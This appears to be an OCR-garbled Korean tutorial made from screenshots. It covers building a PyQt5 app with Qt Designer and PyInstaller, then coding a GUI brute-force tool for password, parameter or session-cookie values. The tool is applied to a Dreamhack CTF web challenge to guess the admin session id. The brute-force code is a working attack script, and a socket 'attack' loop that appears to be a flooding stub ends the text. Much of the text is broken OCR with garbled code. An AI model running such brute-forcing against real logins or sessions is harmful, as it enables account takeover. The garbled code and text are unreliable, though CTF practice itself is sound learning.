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label : GlLabel

=F 2 A
objectName label
S
Bemard MT Condensec Regular enabled
Bauhaus 93 Regular 7 geometry [0, 5), 391 x 341]
Bell MT » sizePolicy [Preferred, Preferred, 0, 0]
Berlin Sans FB > minimumSize 0x0
Berlin Sans FB Demi > maximumsize 16777215 x 16777215
Bernard MT Condensed » sizelncrement 0x0
> baseSize 0x0

palette -

b _ A [Bernard MT Condensed, 48] E|E|

cursor l; ShaE
mouseTracking

tabletTracking []

Ol2l 221

hO| - = et e F X

|l
En

_ /e

<resource root=
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2 Ot Designer
oeErn BEE B0 27V

EE R &

ZH

> ltem Widgets (ltem-Based)
v Containers

m Group Box

Scroll Area

B Tool Box

B Tab Widget

& stacked Widget

Frame

m Widget

[H MDI Area

E3 Dock Widget

u-[ﬁ QAxWidget

b Input Widgets |
Combo Box

Font Combo Box

Line Edit

Text Edit

Plain Text Edit

@ Spin Box

Double Spin Box

© Time Edit

Date Edit

9 Date/Time Edit

& Dial

@=n Horizontal Scroll Bar

E] Wertical Scroll Bar

{}= Horizontal Slider

? Wertical Slider

Key Sequence Edit

e Display Widgets |
f?) Label I
Text Browser

ﬁ; Graphics View

@ Calendar Widget

@ LCD Number

Progress Bar

= Horizontal Line

Il Vertical Line

OpenGL Widget

<] QQuickwidget =

Undo View >

2306 W) ESEMH)

DpR BN BRRE ISHESD

A | 5 x|
[Filter |
24l i &

v @ test QWidget
label QLabel
&4 #E7| & x|

[Z'F e = /2

label : GlLabel
%4 o &
enabled
> geometry [0, 5), 391 x 341]
> sizePolicy [Preferred, Preferred, 0, 0]
> minimumSize 0x0
> maximumSize 16777215 x 16777215
> sizelncrement 0x0 I
> baseSize 0x0
palette HEE
> font A [Bernard MT Condensed, 48] EH
cursor ly ZharE
mouseTracking
tabletTracking  []
focusPolicy MoFocus
contextMenuPal... DefaultContextMenu
acceptDrops ] "
2|4 A ERAHT 8 X

7/ C [ZE |

<resource root=

ADS/EE BEDl | SABEI e2les 2|

07



®ianpny '* I oet SO

\ PROJECT 12 from PyQts.QtWidgets import *
- : from PyQt5 import uic
= app.py .

= fdsa.ui form class = uic.loadUiType("fdsa.ui")[@]

class WindowClass(QMainWindow, form class) :
 def __init  (self) :
super(). init ()
self.setupui(self)

if name == " main_ ' :
app = Qﬂpplitatiqn{syﬁ:argv)
mywindow = windewﬁlass()
mywindow.show()
app.exec ()

Hello, World!
PS C:\Users\gkdls\Desktop\project 12> & C:/python/python.exe c:/Users/gkdls/Desktop/project 12/app.py
Traceback (most recent call last):
File "c:\Users\gkdls\Desktop\project 12\app.py”, line 2, in <module>
from PyQt5.Qtwidgets import *
ModuleNotFoundError: No module named 'PyQt5.Qtwidgets’
PS C:\Users\gkdls\Desktop\project 12> & C:/python/python.exe c:/Users/gkdls/Desktop/project 12/app.py
Traceback (most recent call last):
File "c:\Users\gkdls\Desktop\project 12\app.py"”, line 7, in <module>
class WindowClass(QMainWindow, from class):
NameError: name 'from class' is not defined. Did you mean: 'form cass'?
PS C:\Users\gkdls\Desktop\project 12> & C:/python/python.exe c:/Users/gkdls/Desktop/project 12/app.py
Traceback (most recent call last):
File "c:\Users\gkdls\Desktop\project 12\app.py"”, line 7, in <module>
class WindowClass({QMainWindow, form class):




[ ddzl Ul IS E0{EEH XML A= MEE[0] R

o | fdsa.ui - Windows O 2%

b, 6 =27 D% ]J;
R = ] - 2
1 maz =y L - s MAR HIUE MU0 BV =2EH)
SAHRT|O| A 20]17 Do meia O =A ME OE M 5 can—"1 " T . ‘
HI 2 717] 2097 <?xml version="1.0" encoding="UTF-8"?>
e = o) | gl 0T 05 | Y .

<ul version="4.0">
=FLS 24 Sk
<class>test</class>

« v 1 » H PC > HIE =@ > project 12 <widget class="QWidget" name="test">

-,

A gz A XS LW <property hame="geometry >
i A <rect>
m st oo #l app.py SRAVAE S B
§te=c | fdsa.ui 2024-12-02 2% soues Rl
= =AM <width>391</width>
=) AFE <height>353</height>
dreamhack </rect>
QtDesigner </property>
oroject 12 < pr'operty namez'.’windowTitle”}
T — <string>test</string>
IPles ge I b
<widget class="QLabel" name="label">
& H5EIE) . .
N <property name="geometry">
T <rect>
& OneDrive <x>0</x>
_ <y>5</y>
Sl b <width>391</width>
W L PC <height>341</height>
g 3D /A </rect>
$ O2=C v </property>
270 B2 17 B8 M 9790 = <property name="font">
 AUSEDN S \ER \LESR Jy ULl 12 \dPP . P ; AE < font}

class WindowClass(QMainWindow from class): . .
@ ’ ,—,,) <family>Bernard MT Condensed </family>
NameError: name 'from class' is not defined. Did you mean: <pointsize >48</pointsize>
PS C:\Users\gkdls\Desktop\project 12> & C:/python/python.q </font>
Tr‘a{?‘eba::lk (most recent call last): _ . </property>
File "c:\Users\gkdls\Desktop\project 12\app.py"”, line 7, ) . .
class WindowClass{QMainWindow, form class): <prDPer1:y name="text >_
----- <string>Hell_world</string>
NameError: name 'form class' 1s not defined. Did you mean (R EoYecter-1a s e 7
In1 Col 1 1002  Windows (CRIEB LITE-8
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dreamhack A
QtDesigner
project_12 &

HIAFEE- plan,
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812 B2 7}7)
=3

@ OneDrive

@& OneDrive - Persoi

o - Bl

|f.i app.py
| fdsa.ui

P

i

ALKl

-

XML SAOR NHAE| J=H &2 4~ Q)C} \

§ IYE HEE MAN©O) HIV) ESEH)

Hff?l ;EI ‘-r; ?xml version="1.0" encoding="UTF-8"?>
b <ui version="4.0">
- <class>test</class>
<widget class="QWidget" name="test">
A3t LR} <property name="geometry" >
2024-12-02 23 S
2024-12-02 23 :;igigi
<width>391</width>
<height>353</height>
</rect>
</property>

<property name="windowTitle">
<string>test</string>
</property>
<widget class="QLabel" name="label">
<property nhame="geometry">

<rect>

<x>0</x>

<y>3</y>

<width>391</width>
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B AC 38X 7ICks IAE
174 5T 71EH3t exe E
B[] % 2EU U ML A0 2 XMEE[0] J=E = =+ UL \
B2 U Sicex 7] - (TR MEE ANO0) 270) S8H)
%_‘; __!,__r__;' ::*El %)«l‘ %EEI%JT - = L] el LT DI% %)\I‘ ’;}“I‘H Dl% J'-.H 2 : - " 2 s T _Qn)
o [ 62 771 wolg7l o % L wms mo ‘e:.)_(ml version 1.0" encoding="UTF-8"?>
_<ul version="4.0">
2yLE 24 Uk
<class>test</class>
"= v 1|8 > HPC> U ST > projecti2 <widget class="QWidget" name="test">
A olE h +Hs @i <property name="geometry”>
W ESHR - <rect>
o s D Hi' AD. 2024-12-02 2% -
2024-12-02 23
§ oEE # <y>0</y>
& 2M » <width>391</width>
- e
o AL /\PP.PYO|| A FDSA.UIE E_Ejﬁlf =Rkl <height>353</height>
RN - 0| /E/{0] <] EXETIIE HEHA[7 | 22 ok SR
QtDesigner </property>
oroject 12 # {proFerty name='l'windowTEtle">
HIAPEE- plan, <string>test</string>
FIF}IQE Hto I </property>
i <widget class="QLabel" hame="label">
sz B2 }7| " "
B <property name="geometry">
il <rect>
@ OneDrive <x>0</x>
<y>3</y>
- ive - P
RO <width>391</width>




u & ZEU| Ir=0 L AT AFE PYQT DESIGNERS| 2=
I a20] MX|E|0f QU] FOE Ago] ol
=2 1=“1V 1 e = 2 2 717 2497 o = | = = . ? " - : . " - L "?
o B 4= 7171 wo127] [ o8 o T wma | sn AF :-i:ml V?I‘SIOT ‘ItIO encoding="UTF-8"?>
~<ul version="4.0">
—g= A= /8 M £
<class>test</class>
"= v 1|8 > HPC> U ST > projecti2 <widget class="QWidget" name="test">
A olE "“ +Hs @i <property name="geometry”>
W ESHR _ <rect>
| 024-12-02 2%
Bl HtE 3 |.;. wiradln <x>0</x>
2024-12-02 23
§ Ce=c v <y>0</y>
& 2AM * <width>391</width>
- e
— R N Y R e N =ikl <height>353</height>
SRR - O c0f 1 EXETI2I2 HEIA7 |3 QF Sri  [BYN

QtDesigner </property>
project_12 <property name="windowTitle">
H|AEHE- plan <string>test</string>
— B
Il E we T </prapeniy>
<widget class="QLabel" name="label">

a2 s2 47| - :
<property name="geometry">
s <rect>
@ OneDrive <x>0</x>
<y>3</y>

-~ ive - P
OneDrive - Perso <width>391</width>

o - Eil -




— e L L
) - olX|~ X~ ~ HFRI EG »  BOAET
ESEL 5 B C v’:“.ﬁ.-'mdowsv‘:“jy stem32¥cmd.exe
Ll pC > BHE 318 > project_12 Microsoft W Version 10.0.13045.513

V'? uuuTt ML puratiﬂﬂ, All rights reserved.

..... takd | sDesktopfproject 12>pyuich -

l l H W['l—‘ iJfII[I ['l[_[:l_iE|j:';t_'!:2:__.;-

Q| HHOE AFESI0] .ui IS pyDtU R Het
[ pyuic5 -X fdas.ui -o fdsa.py ]

—_ 1 O 1
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L - L —
‘ N AXl - X~ - HFI| EG N
=E2L 7 B C:WWindows#System32#cmd.exe
L PC > BIE 2HH > project_12 Microsoft Windows [Version 10.0.19045.513

—_ 1 O 1

I B | M i CIros |__.|‘|"|: |,._.:|._: rpol -:tl_t 10N .'1". | I r | | |1- eserved

..... okd | sWDesktopMproject 12>pvuich -

® app.

Wokd | sWDesktopfproject _12>

fdsa.ui

™ 1. xmIIFLECH H2[8H7| £
A 2. AldH sHA0| 0| Mzt PyQtEt X[ IstH EICt

it




K| ~
Lf PC > BIE 2H > project_12
Y 4dDD
® fdsa.py

oXl~ - BRI EG

1.
2
3

xmIZIZLECH 2|87 | £IC

T —

A
N

T —

o

—

A=t k=0 I

3 $12J0| MHO|#iT} PyQtot X| /st EIC

2l g2t

licrosott Windows [”PF'IHH

ku} Microsott LDFUU ~ation.

C:#Use

- IL_.-_'-.- II ______

wlserstokd | stlesktoptproject_12>

0| =20 ...

oSl AER

'|
I
lr_"I | I

.

| J hts

31]

E==1=18

ved .

Td;a.UI —0 TlEL.

—_ 1 O 1
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X ZICFS| exe H

e L L L

) ] 3, ¥ .
= anp nv B {cefeve Ny b4

. [Tf]_ E] £ @ tsetexe.py 7 ..
@ from PyQtE QtWidgets import QAppllcatlon, Qf*’lam'undon

@ app.py from fdsa import Ul_test

X % tsetexe.py : o :
kY class MainApp(QMainWindow, Ui_test):

e def init (self):
@ fdsa.py super(). init ()

PROJECT 12 self.setupUi(self)
> build
> dist app = QApplication([])
vt window = MainApp()
. #ranw window.show() from PyQt5 import QtCore, QtGui, QtWidgets

el app.exec_ () - - -
= | | B2kl Ui I (i > .py)
® tsetexe.py £ class Ui test(object):

tsetexe.spec ' hlﬁg-_setupU1(self test):

Ao

|-2 = "' Ol o test.setObjectName("test™
E L I:l -"EE| LH 2'—|- I 'py ]I Import test. r‘esizg{%l, 3_5:3) )

self.label = QtWidgets.QLabel(test)
self.label. setéedﬁetry{qttoré.QRe;t(B, 5, 391, 341))
font = QtGui.QFont() . |
font.setFamily(”Bernard MT Condensed")
font.setPointSize(48)
self.label.setFont(font)
self.label.setTextFormat(QtCore.Qt.AutoText)
self.label.setAlignment(QtCore. Qt. AlignCenter)

self.label.setObjectName("label™)

self.retranslateui(test)
QtCore.QMetaObject.connectSlotsByName(test)

ef retranslateUi(self, test):
' _translate = QtCore.QCoreApplication.translate
test. setwlndoletle( translate("test”, ”fe;t”))
self.label.setText( translate("test”, "Hell world"))

TE + v~ [JPython (1] W

NameError: name 'form class' is not defined. Did you mean: 'form cass'?

= = . ¥




@ tsetexe.py 7 ..
from PyQt5.QtWidgets import QApplication, QMailnkWindow

from fdsa import Ul test

MainApp(QMainWindow, Ul test):
_1nit  (self):
super(). init ()

self.setupUi(self)

app = QApplication(| ])
window = MainApp()
window. show()

app.exec ()
fdsa.ui

.
-

e (Setexe. Py

= tsetexe.spec




® app.

= - e d= 1 = iE Xl =Y =]
B =7ix7)0f =A 20 stz 717 oy O AL AF o A4 24 OAieH ol upR

o - e . = - e - = H| | s T TR
@ fdso RS oxl - X~ - HRI =G - lpdl2Ez O

PROJECT 12 =EEE e MZ OHE7 = 118

p build « v 4 = > WpC > HHE EW > project 12 > dist O | dist 2

> dist ~
§ O2=2cE Bl o= =HT ST

o
nak

app.py

e
=
ra
4_
T
"_\
I.O
-Iu}
l_JI
]
oo
[El
Hu
|1
it}
e
I
I
sy
[w=)

i tsetexe.exe

fdsa.ui
I tsetexe.py
2 B test
tsetexe.sp

th utiIs
h[:'“u |||_ |l

Hell_world

;. ===

= XM had oy th ibits i te—packag tal lerfboot loadertiinc Sdb i t—inte [frunw,
B HHE ot ¥ ( :
171 €8 174 €58 H=4E 36.2MB

class WindowClass(QMainwindow, from f 1 : o evaret T opforoject 124distits

AAAA .I ;

NameError: name 'from class' is not def
C:\Users\gkdls\Desktop\project 12> &
Traceback (most recent call last):

File "c:\Users\gkdls\Desktop\project
class WindowClass(QMainWindow, form

AAANA

Wl l=e
NameError name 'form class' is not def;HQL.

C:\Users\gkdls\Desktop\project 12> & C: fpython/python exe c: /Users/gkdlsfnesktopipPOJELt 12/app.py
PS C:\Users\ekdls\Desktop\project 12> & C:/pvthon/python.exe c:/Users/ckdls/Desktop/project 12/a
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1 » L PC > BIE 213 > project_12 > dist

i 4m
Ao 10
2 Ho

Hu
Iy
>
i
1
I
=

|

|

I

Y
=
ra

test — ] X

Hfl[|[p—' ‘|‘|[ 2 [|||||1I]|r—' [|—1'|'|| |'|I':I|_ _PY 1 rtn |JT||

0305b INFO: Loading MHJHIH hook 'hook—_pyi Ifh Qt ls.py Trom "C:Hpythont
=t "N

Ut |
3359 INFO: Including run—time hook 'C:##pythontil ib#ts i te—packagesHiiPy |nst
3365 INFO: Looking for dynamic |ibraries

3491 INFO: Extra DLL search directories (AddD!|Directory) 'C: #ifpythontil
3497 INFO: Extra DLL search directories ﬂPﬁTHﬂi L' C: Wiy TMHHHHLlhll | te—pa
91206 INFO: Warnings written to C:#lUsers lijSWDEEkTuw”erJH t 12%bui | dittse
9139 [NFO: ”_[ETHIEHLH [IttEH to C:tlserstgkd |sttDesktopfproject
9160 INFO: lel l | Nng F (L

3160 |NFO: Bui|diﬂu PY/ because PY/=00.toc iIs HDH existent

3161 INFO: Building PYZ 1_||bﬁfbh|.ﬁﬂ C:#Users 1li| WDH lTwumw[u|H|f 1“Wbu
9362 INFO: Building PYZ (Zl ibArchive) C:#Users

J3 75 INFO: checking FWTH
9376 INFO: Building s non existent
Ja /b INFO: Building Phu LiHl|h| HJ T HTH F.:iﬂ




inre_Tind _module_pathW®hook— pyvi _rth utils
1 » L PC HHE 2HH > project_12 1356 INFO: Loading module hook 'hook—_pyi rf| HTI| | frum 'L.. w ThuHWWLlhn| |TH_H1I|ﬂ]
- 5359 INFO: Including run—time hook 'C:##pythonttl ibis ite—packagesiPyInstal leritthooks St R
365 INFO: Looking for dvnamic |ibraries f |
. 491 INFO: Extra DLL '@HIIL WIIHITHIIH iﬁddD||DirP|THf ). ['C#toyvthontl i biits | te—packagelt
= _E_’H s | ul';i.: | ""-JF[:': E:'.:-th ra ['LL searc '; | j | rector | 25 | FHTH ) [ =, |. i ['I' T’ l'||'|r'| T |_ | tﬂfrjf | T’l—' [ ac l‘ q :EWWF'ILf F,wwl_| _
1 tsetexe.exe 126 INFO: Warnings written to C:WUserstgkdls [u warn-tsete
= ARZ 1133 _INFO: Graph EFDEE_FEfEFEﬂEE written to C:#Usersokd|sHiDesktopfiproject 12Wbui ldfitsete:
= oyinstaller Olﬂorm py IS exe MR HSE checking PYZ | | S m
tect ] W | Irmfl V1] '“_'.:I_ Ell__l I Is I ng |:'|,_ l.-“_” ause PY7-00 toc is non existent | | e
1161 INFO: Building PYZ (Z Ibﬂluhl.c] C:tUserstgkd|stDesktoptproject_12%bui |dfttsetexety /-
1362 INFO: Building PYZ (Z1ibArchive) C:#UsersHgkd|s#Desktop#project_12#bui |d#tsetexettPY/-

¢
J1
Ho
HU
I

>
01!

375 INFO: checking PKG

376 INFO: Building PKG because PHG—UU toc is non existent

376 INFO: Building PKG HHHILhI.H}_tE “““ pkg
8686 INFO: Building FIH (CArchive) ts HTH G Ulj completed successful Iy

8689 |INFO: Boot loade L-prthonWLibWEite—uachaqeawpylﬂatalIeerooTl """"" sder#Windows—64bit—in
8689 [NFO: thfllHJ E”
o690 [INFO: Building EXE because EXE-00.toc is non existent
8690 [INFO: Building EXE from EXE-00 toc
O 8691 INFO: Copying boot |loader EXE Tu C #Userstakd | sttDesktopfproject 12%distiitsetexe . exe
8708 INFO: Copying icon to EXE
def@ 8715 INFO: Copying O resources to EXE

> 888716 INFO: Embedding manifest in EXE

8721 INFO: Hp"'1|r1 PKG archive to EXE

ct §8745 INFO: Fixing EXE headers
ormil 0891 [NFO: Eu||i|nj EXE from EXE-OO0.toc completed successful |y,

def ;_Wl_]:.i—: er :;E—.QWE]_ ll_i |_ W['H_ k to [:_]_w;:_.l ro _i_E‘[,: t 12>

M = = L Ll alTamaTe aFdalVamaTala B aL s = Jalal=Flel'da Falnl’anala¥idalalamla

e
]
)




>

G fflush libc 35 fsop - Google X M isetexe - 245101h0659@sonli X & tsetexe.exe - Google Drive x & Google Drive - HHO[B{ A ZHAF X o = ]

7

C 2% drive.usercontent.google.com/download?id=11YIWbDVpNM98NgewZn5TvikASv6YDER2&export=download&authuser=0 e 3,

Google Drive0i| A mt&0f BO|2H AV} Q=X HAFE = Gl LT

o IAU0| D2 ARHE =AAZ = QSLICH
- O X
v orezc X +
W7 test = O v
& -~ Cc Ctezc ZHA Q,
® M2 8s7] - H7| - (B M= "yE
o EEE E= 82 = ¥y i
> @ B - el M
i tsetexes e wor oe e 37,144KB
["] Dockerf — njel 1K8
MEEEE 2
validata o 204
| Oe=zc »
i ~ O{H|
= =X » p_rho oy =M
P A » v A =
ool » 2 patchelf-0.18.0-aarch64.tar.gz 2024-11-29 2= 2:11 E=E 2 EGH 442KB
D e |
— R [@) New Document 2024-11-27 215810hwp 20241127 2= 10:17  HWP I+2 11KB CHE2E(333 )
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Brute Force ZE & (cl
00

def main():
url = input(“URL: ").strip()
char_set = input("Char_set: ").strip()
min_length = int(input("Min_length: ").strip())
max length = int(input(”"Max length: ").strip())
method = input("Method (GET, POST, COOKIE): ").strip().upper()
success message = 1nput("Success message: ").strip()

log file = input(“"Log file (option, leave blank for none): ").strip() or None
headers input = input("Headers (keyl:valuel, key2:value2, leave blank for none): ").strip() or None
headers = {item.split(':")[0].strip(): item.split(':")[1].strip() for item in headers input.split(’', ')} 1if heac

password param = None
if method.upper in ["GET", "POST"]:
password param = input(“Password param: ").strip()

cookies key = None
1t method.upper == "COOKIE" or method == "3":
cookies key = input(”Cookies key: ").strip()
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def main():
url = input(“URL: ").strip()
char_set = input(“"Char_set: ").strip() AR UL B (url, char_set, min/max_length, method &)
min length = int(input(”"Min length: ").strip())
max length = int(input(”"Max length: —Dwes®rip())
method = input( Me&led™(GET, POST, COOKIE): ").strip().upper()
stuccess message = 1nput("Success message: ").strip()

log file = input(“"Log file (option, leave blank for none): ").strip() or None
headers input = input("Headers (keyl:valuel, key2:value2, leave blank for none): ").strip() or None
headers = {item.split(':")[0].strip(): item.split(':")[1].strip() for item in headers input.split(’', ')} 1if heac

password param = None
if method.upper in ["GET", "POST"]:
password param = input(“Password param: ").strip()

methodd| (L= M &

cookies key = None
1t method.upper == "COOKIE" or method == "3":
cookies key = input(”Cookies key: ").strip()
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for length in range(min length _mayx_length—+—1= password Z£0|
for combination in itertools.product(char set, repeat=length):
attempt = '"'.join(combination)
attempts += 1

try:
if method.upper() == "POST" or method == "2":
data = {password param: attempt}
response = session.post(url, data=data) methodd| [[IE & H|0|E MA
elif method.upper() == "GET" or method == "1":
params = {password _param: attempt}
response = session.get(url, params=params)
elif method.upper() == "COOKIE" or method == "3":
cookies = {cookies key: attempt}
response = session.get(url, cookies=cookies)
else:
print("2 2= QA SAIILICH, 'GET', 'POST', 'CQOKIE' = OLIE

return None
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1f success message 1n response. text
print(f"\nZx = 2f: {attempt}” ) Al
= time.time() IAZE
{end_time - start_tlme:._+
{attempts}"”)

print(response.text)

with open(”found result.txt”, "w") as result file:
result file.write(f" 1;:5 ot {attempt}i\n™)

result file.write(f"Z¢2l AlZF: {end time - start time:.2f}=x=\n")
result file.write(f"= Al = =: {attempts}\n")
return response.text
else:
print(f"Al%= =: {attempt} (2 U{)", end="\r")
except requests.RequestException as e:
print(f"\nR& = 5 Z4d: {e}")
return None

print("\nat= Al Z}SLICE.™)
return None
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if success_message 1in response.text:
print(f"\nZ2 2f: {attempt}")
time.time()
{end_time - start_time:.2f}
{attempts}")

print(response.text)

M| o =
with open("found_result.t; o= O HOIX| html =5 .

— o w — - m——

result file.write(f"& = &f: {attempt}\n")
result file.write(f"Z¢l AlZF: {end time - start time:.2f}=x\n")
result file.write(f"= Al ==: {attempts}\n")
return response.text
else:
print(f"Al%= =: {attempt} (2 U{)", end="\r")
except requests.RequestException as e:
print(f"\n2& = 5 Zd: {e}")
return None

print("\n2t2 X ZHSLICI.")
return None
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if success_message 1n response.text:
print(f"\n& & 2f: {attempt}")
end time time.time()
print(f"Z ¢l AlZF: {end_time - start_time:.2f}=x"

= =: {attempts}")
print(response.text)

with open("found result. ", "w") as result file:
result file.write(f"& = &f: {attempt}\n")
result file.write(f":z AZF: {end time - start time:.2f}=x=\n")
result file.write(f"= Al = 4: {attempts}\n")
return response.text O (A =2k grs) A
else:
print(f"Al%= =: {attempt} (2 U{)", end="\r")
except requests.RequestException as e:
print(f"\nR& = 5 Z4d: {e}")
return None

print("\nat= Al ZWSL
return None
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if success_message 1n response.text:
print(f"\n& & 2f: {attempt}")
end time time.time()
print(f"Z ¢l AlZF: {end_time - start_time:.2f}=x"

= =: {attempts}")
print(response.text)

with open("found result. ", "w") as result file:
result file.write(f"& = &f: {attempt}\n")
result file.write(f":z AZF: {end time - start time:.2f}=x=\n")
result file.write(f"= A = 4=: {attempts}\n")
return response.text
else: ATHA| AlBHE|= TE | Q2 A S
print(f"Al%= =: {attempt} (2 U{)", end="\r")
except requests.RequestException as e:
print(f"\nR& = 5 Z4d: {e}")
return None

print("\nat= Al ZWSL
return None
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.url = self.findChild(QLineEdit, "url lineEdit")

.char_set = self.findChild(QLineEdit, "char set lineEdit")
.min_length = self.findChild(QLineEdit, "min_length lineEdit")
.max_length = self.findChild(QLineEdit, "max_length_lineEdit"™)
.log file = self.findChild(QLineEdit, "log file lineEdit")

.success _message = self.findChild(QLineEdit, "success message lineEdit")
.cookies key = self.findChild(QLineEdit, "cookies key lineEdit")
.password param = self.findChild(QLineEdit, "password param lineEdit")

.log_file_lineEdit.setEnabled(False)
.cookies key lineEdit.setEnabled(False)

.checkBox.stateChanged.connect(self.toggle lineeditl)

.stackedWidget = self.findChild(QStackedWidget, "stackedWidget")
.stackedWidget.setCurrentIndex(9)

.next_btn.clicked.connect(self.show page2)
.back_btn2.clicked.connect(self.show _page2)
.back _btn.clicked.connect(self.show pagel)
.final btn.clicked.connect(self.show page3)
.start _btn.clicked.connect(self.send data)
.start btn.clicked.connect(self.attck)




Brute Force =

.url = self.findChild(QLineEdit, "url lineEdit")

.char_set = self.findChild(QLineEdit, "char set lineEdit")
.min_length = self.findChild(QLineEdit, "min_length lineEdit")
.max_length = self.findChild(QLineEdit, "max_length_lineEdit"™)
.log file = self.findChild(QLineEdit, "log file lineEdit")

.success _message = self.findChild(QLineEdit, "success message lineEdit")
.cookies key = self.findChild(QLineEdit, "cookies key lineEdit")
.password param = self.findChild(QLineEdit, "password param lineEdit")

=L Ha 2F (AEAF 1= (lineEidt B&))

.log_file_lineEdit.setEnabled(False)
.cookies key lineEdit.setEnabled(False

.checkBox.stateChanged.connect(self.toggle lineeditl)

.stackedWidget = self.findChild(QStackedWidget, "stackedWidget")
.stackedWidget.setCurrentIndex(9)

.next_btn.clicked.connect(self.show page2)
.back_btn2.clicked.connect(self.show _page2)
.back _btn.clicked.connect(self.show pagel)
.final btn.clicked.connect(self.show page3)
.start _btn.clicked.connect(self.send data)
.start btn.clicked.connect(self.attck)
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.url = self.findChild(QLineEdit, "url lineEdit")

.char_set = self.findChild(QLineEdit, "char set lineEdit")
.min_length = self.findChild(QLineEdit, "min_length lineEdit")
.max_length = self.findChild(QLineEdit, "max_length_lineEdit"™)
.log file = self.findChild(QLineEdit, "log file lineEdit")

.success _message = self.findChild(QLineEdit, "success message lineEdit")

.cookies key = self.findChild(QLineEdit, "cookies key lineEdit")
.password param = self.findChild(QLineEdit, "password param lineEdit")

.log file lineEdit.setEnabled(False)
.cookies key lineEdit.setEnabled(False
.checkBox.stateChanged.connect(self.toggle lineeditl)

.stackedWidget = self.findChild(QStackedWidget, "stackedWidget")
.stackedWidget.setCurrentIndex(9)

OIHIAMIR H|TEIA (2O 7| & HIZABLS)

.next_btn.clicked.connect(self.show page2)
.back_btn2.clicked.connect(self.show _page2)
.back _btn.clicked.connect(self.show pagel)
.final btn.clicked.connect(self.show page3)
.start _btn.clicked.connect(self.send data)
.start btn.clicked.connect(self.attck)
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.url = self.findChild(QLineEdit, "url lineEdit")

.char_set = self.findChild(QLineEdit, "char set lineEdit")
.min_length = self.findChild(QLineEdit, "min_length lineEdit")
.max_length = self.findChild(QLineEdit, "max_length_lineEdit"™)
.log file = self.findChild(QLineEdit, "log file lineEdit")

.success _message = self.findChild(QLineEdit, "success message lineEdit")

.cookies key = self.findChild(QLineEdit, "cookies key lineEdit")
.password param = self.findChild(QLineEdit, "password param lineEdit")

.log file lineEdit.setEnabled(False)
.cookies key lineEdit.setEnabled(False)
.checkBox.stateChanged.connect(self.toggle lineeditl)

.stackedWidget = self.findChild(QStackedWidget, "stackedWidget")
.stackedWidget.setCurrentIndex(9)

HESZIA| St A (22t 2

L a1

.next_btn.clicked.connect(self.show page2)
.back_btn2.clicked.connect(self.show _page2)
.back _btn.clicked.connect(self.show pagel)
.final btn.clicked.connect(self.show page3)
.start _btn.clicked.connect(self.send data)
.start btn.clicked.connect(self.attck)
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not url:
QMessageBox.warning(self,
return

1f not char set:
QMessageBox.warning(self, "2 @ %", "Character Set= ZSol=AMK."
return

not min_length:
QMessageBox.warning(self,
return

not max_length:
QOMessageBox.warning(self,

return

not method:

QMessageBox.warning(self,

return
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print("page3")
L . self.stackedWidget.setCurrentIndex(2)
not url: . R self.url _label.setText(f"{self.saved url}")
QMessageBox.warning(self, "== = self.min_len_label.setText(f"{self.saved min_length}")
return self.max_len_label.setText(f"{self.saved _max_length}")
self.char_set_label.setText(f"{self.saved_char_set}")
not char set: self.success_label.setText(f"{self.saved_success_message}")
_ self.method_label.setText(f"{self.saved method}")
self.headers_label.setText(f"{self.saved headers}")
self.param label.setText(f"{self.saved password param}")
self.cookies label.setText(f"{self.saved cookies key}")
not min_length: self.log file label.setText(f"{self.saved log file}")

QMessageBox.warning(self, e e
Ziolgia2 H= (=N Ik=]
return def send_data(self): = I:I—:|||_I-E o —?—SlgnaIE O|OO|'O:|

(Echid)= H=

QMessageBox.warning(self,
return

not max_length: self.data_signal.emit(
» - self.saved url,

QOMessageBox.warning(self, self.saved char_set,

return self.saved min_length,
self.saved max_length,

not method: self.saved_method,
QMessageBox.warning(self, "2/5 ¢ self.saved_password_param,
self.saved_success_message,
self.saved_cookies_key,
self.saved log file,
self.saved headers)

return
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print(“page3")
L IE self.stackedWidget.setCurrentIndex(2)

) D self.url_label.setText(f"{self.saved_url}")
OMessageBox.warning(self, "== = self.min_len_label.setText(f"{self.saved_min_length}")
return self.max_len_label.setText(f"{self.saved_max_length}")

self.char_set label.setText(f"{self.saved char_set}")
not char set: self.success label.setText(f"{self.saved success message}")
self.method_label.setText(f"{self.saved method}")
self.headers_label.setText(f"{self.saved_headers}")
self.param_label.setText(f"{self.saved_password_param}")
self.cookies label.setText(f"{self.saved cookies key}")

not min_length: o
— HHEHO OF H [ = XFO L= O|f.saved_log_file}")
QMessageBox.warnin;Ll-D-lx‘ L :IIAI_-I ];[ L Ql- O 1L- o=

return def send _data(self):

QMessageBox.warning(self, "&5 &
return

not max_length: self.data_signal.emit(
» - self.saved url,

QOMessageBox.warning(self, self.saved char_set,

return self.saved _min_length,
self.saved max_length,
not method: self.saved_method,
QMessageBox.warning(self, "2 & self.saved_password_param,
return self.saved_success_message,
self.saved _cookies key,
self.saved log file,
self.saved headers)
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Background: Cookie & Session

X
=

A

35

VM SEI0j Ci AjZH0] 23 = UELICE A 25|

Host: hostl.dreamhack.games
Port: 18476/tcp - 8000/tcp

>._

| A=IsHZ) 2H|: nc hostl.dreamhack.games 18476
6§ 2HI: http://host1l.dreamhack.games: 18476/

[

#H2|0| Beta B 2ASLREK:

% Beginner
session

web

6708 2539

& 28 o 2|

ZMXt 82
Dreamhack &
, ohE o gig
2021.08.09. 21:24:31

F First Blood!



1f  name ~_main_
import os > 2XI2| 16%l4=(1H[O|E)
session_storage[os.urandom(l).hex()] = "admin’
print(session_storage)
app.run(host='0.0.0.0", port=8000)

M ABA] admin®| MMZHE F4f
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1f  name ~_mailn
import os

session_storage[os.urandom(l).hex()] = "admin’
print(session_storage)
app.run(host='0.0.0.0", port=8000)
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1f  name ~ _main_ ':
import os

session_storage[os.urandom(l).hex()] = "admin’

print(session_storage) >>>HITZ E1|¢§ 7

app.run(host='0.0.0.0", port=8000)
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hittp://host1 dreamhack, games: 18476

Char_set | |012345678%abcdef
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hitp://host] . dreamhack games: 18476
Char_set | |0123456789abcdef POST

LOORIE
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Form — L] X

DI = | Sl GIIK] Q12 (R4 0171 flag is' ('DH'E 7HS))

Success_message | | Cookies_key | [password_param

Nag is sessionid

r}{eaders START

["flag 1s

+ FLAG if username == "admin" else "you are not admin"}')




Al buteforce ZH=s 8l Al

Form — L] X

Success_message [Hﬁﬂﬂes_key‘

flag is sessionid

Headers START

@app.route('/")

def index():
session _id = request.cookies.get('sessionid’', None)
try:

username = session_storage[session id]
except KeyError:
return render_template( ' index.html")
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def attack():
global attack num
while True:
try:
s = socket.socket(socket.AF _INET, socket.SOCK_STREAM)
s.connect((target, port))

